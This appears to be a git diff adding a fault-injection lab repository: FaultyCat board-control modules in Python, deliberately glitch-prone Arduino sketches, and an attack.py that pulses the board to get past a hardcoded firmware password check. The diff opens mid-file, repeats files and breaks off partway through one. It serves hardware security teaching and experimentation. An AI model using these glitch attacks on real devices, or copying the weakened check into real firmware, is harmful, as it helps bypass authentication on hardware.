send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = 